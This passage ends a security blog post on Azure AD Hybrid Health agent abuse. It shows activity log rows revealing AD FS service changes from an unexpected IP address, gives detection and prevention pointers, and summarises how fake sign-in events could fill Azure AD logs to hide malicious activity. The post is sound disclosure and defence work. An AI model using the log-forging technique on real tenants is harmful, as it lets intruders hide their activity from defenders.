/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:10:16.2093169Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:10:15.5693784Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:07:11.3219081Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:07:10.5819036Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:04:18.1500781Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts2.company.com Creates a server.  admin@company.com 2021-08-25T15:04:17.7750301Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService                                               Updates a service. admin@company.com 2021-08-25T15:02:33.2797177Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService                                               Updates a service. admin@company.com 2021-08-25T15:02:33.0297112Z 51.65.246.212
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com  Deletes service.   admin@company.com 2021-08-25T15:01:26.9612649Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com  Deletes service.   admin@company.com 2021-08-25T15:01:26.7262514Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com  Deletes service.   admin@company.com 2021-08-25T15:01:18.4399245Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com  Deletes service.   admin@company.com 2021-08-25T15:01:18.2599207Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService                                               Updates a service. admin@company.com 2021-08-25T15:00:00.5760736Z 152.219.25.6
/providers/Microsoft.ADHybridHealthService                                               Updates a service. admin@company.com 2021-08-25T14:59:53.6402357Z 152.219.25.6



The highlighted rows shows that modification requests are originating from a
different ip address and thus indicates suspicious activity.

For automated detection, see @Cyb3rWard0g’s Sigma and Azure Sentinel rules!


HOW TO PREVENT

There are no special actions to take to prevent the exploitation. However, the
two actions mentioned many many times earlier are still working:

 * Treat AD FS servers as Tier 0 servers
 * Limit the number of Global Administrators


SUMMARY

Azure AD Hybrid Health agents are used to provide health status of hybrid
on-prem services to Azure Portal. Since March 2021, also AD FS log-in events are
sent to Azure AD and are available at Azure AD sign-ins log.

As I demonstrated in this blog, these kind of services can easily be exploited
and used for sending arbitrary information to the target tenant. In this case,
one can fill the Azure AD sign-ins log with fake log-in events to hide malicious
activity. I also demonstrated how it was possible to tamper with the existing
sign-in events before it was fixed by Microsoft.


REFERENCES

 * Secureworks: Azure Active Directory Sign-Ins Log Tampering
 * Microsoft: What is Azure AD Connect Health?
 * Microsoft: March identity updates – Public preview of AD FS sign-in activity
   in Azure AD reporting and more
 * Microsoft: AD FS sign-ins in Azure AD with Connect Health - preview
 * Roberto Rodriguez (@Cyb3rWard0g): SigmaHQ pull request #1934: Feature/aad
   health agent hybrid adfs services
 * Roberto Rodriguez (@Cyb3rWard0g): Azure Sentinel AAD Hybrid Health rules

 * Azure Active Directory
 * Azure
 * ADFS
 * on-prem
 * AADConnect
 * AzureAD

 * 
 * 

About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Principal Identity Security Researcher at Microsoft
Security Research.
Before his security researcher career, Dr Syynimaa worked as a CIO, consultant,
trainer, and university lecturer for over 20 years. He is a regular speaker in
scientific and professional conferences related to Microsoft 365 and Entra ID
(Azure AD) security.

Before joining Microsoft, Dr Syynimaa was Microsoft MVP in security category and
Microsoft Most Valuable Security Researcher (MVR).
«Previous

Exporting AD FS certificates revisited: Tactics, Techniques and Procedures

Next»

AADInternals admin and blue team tools